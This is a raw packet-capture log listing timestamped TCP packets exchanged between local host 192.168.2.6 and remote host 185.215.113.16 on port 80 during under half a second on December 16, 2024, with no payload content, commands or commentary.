Dec 16, 2024 15:38:29.910300970 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.910567045 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.910624981 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.910850048 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.910902977 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.910917044 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.910943031 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.913211107 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.913289070 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.913295031 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.913347006 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.913384914 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.913391113 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.913403988 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.913414955 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.913435936 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.913456917 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.913578033 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.913680077 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.913723946 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.913731098 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.913753986 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.913777113 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.913839102 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.913942099 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.913947105 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.913985968 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.914035082 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.914566994 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.914622068 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.914628983 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.914670944 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.914757967 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.915469885 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.915538073 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.915543079 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.915587902 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.915642977 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.916255951 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.916318893 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.916325092 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.916366100 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.916460991 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.916975975 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.917036057 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.917046070 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.917076111 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.917115927 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.917747974 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.917850971 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.917856932 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.917890072 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.917901993 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.917912006 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.918541908 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.918659925 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.918669939 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.918694019 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.918715954 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.918773890 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.919415951 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.919421911 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.919430017 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.919441938 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.919475079 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.920166016 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.920211077 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.920238018 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.920243979 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.920284033 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.920356035 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.920958996 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.921005964 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.921011925 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.921020031 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.921052933 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.921180964 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.921708107 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.921812057 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.921853065 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.967850924 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.968091965 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.968106031 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.968112946 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.968123913 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.968137980 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.968151093 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.968218088 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.968409061 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.968494892 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.968534946 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.968540907 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.968585968 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.968657970 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.968719959 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.969332933 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.969403982 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.969409943 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.969460011 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.969527960 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.969580889 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.970087051 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.970204115 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.970211029 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.970248938 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.970252037 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.970292091 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.971132040 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.971148968 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:29.972385883 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:29.985553980 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.052505970 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.052525043 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.052596092 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.052615881 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.052623034 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.052670002 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.052908897 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.052915096 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.052962065 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.052999973 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.053278923 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.053327084 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.053333044 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.053383112 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.053623915 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.053987980 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.054016113 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.054022074 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.054068089 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.054188967 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.054822922 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.054883003 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.054889917 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.054929972 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.054948092 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.055588007 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.055728912 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.055821896 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.101927996 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.102121115 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.102125883 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.102138042 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.102149010 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.102154970 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.102165937 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.102179050 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.102224112 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.102293015 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.102421045 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.102761984 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.102767944 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.102781057 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.102813005 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.102823973 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.102870941 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.103605986 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.103641987 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.103647947 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.103687048 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.103746891 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.103904963 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.104260921 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.104336023 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.104346991 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.104412079 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.104475975 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.104520082 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.105086088 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.105170012 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.105175018 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.105214119 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.105221987 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.105262995 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.105923891 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.106020927 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.106026888 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.106086969 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.106117964 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.106165886 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.106712103 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.106792927 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.106798887 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.106837034 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.106892109 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.107024908 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.107455969 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.107505083 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.107511044 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.107629061 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.107644081 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.107700109 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.108264923 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.108355045 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.108361959 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.108402014 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.108616114 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.108705044 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.109105110 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.109222889 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.109229088 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.109263897 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.110145092 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.110151052 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.110163927 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.110179901 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.110193968 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.110214949 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.110330105 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.110378027 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.110630989 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.110723019 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.110728979 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.110784054 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.110867023 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.111057997 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.111433983 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.111500025 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.111506939 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.111543894 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.111568928 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.111625910 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.112308025 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.112391949 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.112402916 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.112432957 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.112528086 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.112574100 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.112982988 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.113043070 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.113051891 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.113096952 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.113123894 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.113179922 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.113770962 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.113828897 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.113833904 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.113881111 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.159805059 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.159894943 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.159902096 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.159914017 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.159955978 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.160027027 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.160092115 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.160096884 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.160145044 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.160586119 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.160669088 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.160676003 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.160888910 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.160927057 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.161062956 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.161437988 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.161484003 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.161499023 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.161540031 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.161928892 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.162024975 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.162043095 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.162050009 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.162091017 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.162147045 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.162703991 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.162765026 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.162770987 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.162802935 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.162827969 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.244837046 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.244874954 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.244887114 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.244944096 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.244954109 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.245029926 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.245162964 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.245218992 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.245224953 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.245277882 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.245659113 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.245731115 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.245764017 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.245769978 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.245812893 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.245825052 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.246509075 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.246567965 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.246649027 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.246654987 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.246666908 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.246701956 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.247446060 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.247458935 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.247473001 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.247484922 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.247499943 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.247523069 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.248123884 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.248181105 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.248203039 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.293525934 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.293545961 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.293553114 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.293611050 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.293644905 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.293656111 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.293838024 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.293898106 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.293914080 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.293922901 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.293971062 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.293993950 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.294661999 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.294720888 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.294725895 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.294770002 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.294895887 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.295460939 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.295530081 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.295538902 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.295547009 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.295588970 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.295665979 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.296283960 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.296358109 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.296415091 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.296421051 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.296436071 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.296468019 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.297012091 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.297079086 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.297101021 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.297107935 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.297149897 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.297322989 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.297802925 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.297849894 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.297883987 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.297890902 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.297930956 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.297996998 CET	80	49747	185.215.113.16	192.168.2.6
